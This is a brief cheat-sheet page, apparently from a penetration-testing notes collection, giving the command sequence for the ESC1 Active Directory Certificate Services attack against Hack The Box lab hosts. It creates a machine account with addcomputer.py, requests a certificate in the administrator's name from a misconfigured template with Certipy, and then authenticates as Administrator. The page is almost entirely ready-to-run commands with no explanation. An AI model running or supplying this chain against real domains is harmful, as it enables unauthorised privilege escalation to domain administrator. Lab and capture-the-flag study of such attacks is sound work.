ESC 1

ECS1 - Machine account:

# Create machine account: 
addcomputer.py -computer-name hacked -computer-pass hacker123 authority.htb/svc_ldap -dc-ip 10.129.255.174

# request cert:
python3.10 /usr/local/bin/certipy req -username 'hacked$' -password 'hacker123' -ca 'MACHINE-CA' -target 'domain.htb' -template 'CorpVPN' -upn 'administrator@domain.htb' -dns 'domain.htb' -debug -dns-tcp

# Auth: 
certipy auth  -pfx cert.pfx -dc-ip 10.10.11.2 -username Administrator -domain domain.htb
PreviousADCS exploitationNextESC4

Last updated